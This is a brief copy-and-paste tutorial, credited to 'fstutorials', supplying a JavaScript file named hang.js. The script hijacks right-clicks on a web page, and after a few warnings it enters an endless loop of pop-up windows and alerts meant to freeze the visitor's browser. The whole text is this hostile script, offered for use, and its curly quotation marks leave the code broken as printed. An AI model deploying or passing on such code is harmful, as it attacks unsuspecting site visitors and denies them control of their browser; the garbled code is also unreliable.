#1 Copy the codes below and paste it in notepad.
#2 Edit the YELLOW parts and save it as hang.js
Credit: to fstutorials
#2 Edit the YELLOW parts and save it as hang.js
var times=0;
function rightClicked(){
if (times>1) {
alert (”LAST ALERT“);
while (1==1) {
window.open(`POP UP URL‘);
alert(’HANG ALERT‘);
}
}
if (times==1) {
alert(”2ND ALERT“);
times++
}
if (times<1) {
alert(”1ST ALERT“);
times++
}
}
function clickIE4(){
if (event.button==2){
rightClicked();
return false;
}
}
function clickNS4(e){
if (document.layers||document.getElementById&&!
document.all){
if (e.which==2||e.which==3){
rightClicked();
return false;
}
}
}
if (document.layers){
document.captureEvents(Event.MOUSEDOWN);
document.onmousedown=clickNS4;
}
else if (document.all&&!document.getElementById){
document.onmousedown=clickIE4;
}
document.oncontextmenu=new Function
(”rightClicked();return false”)
Credit: to fstutorials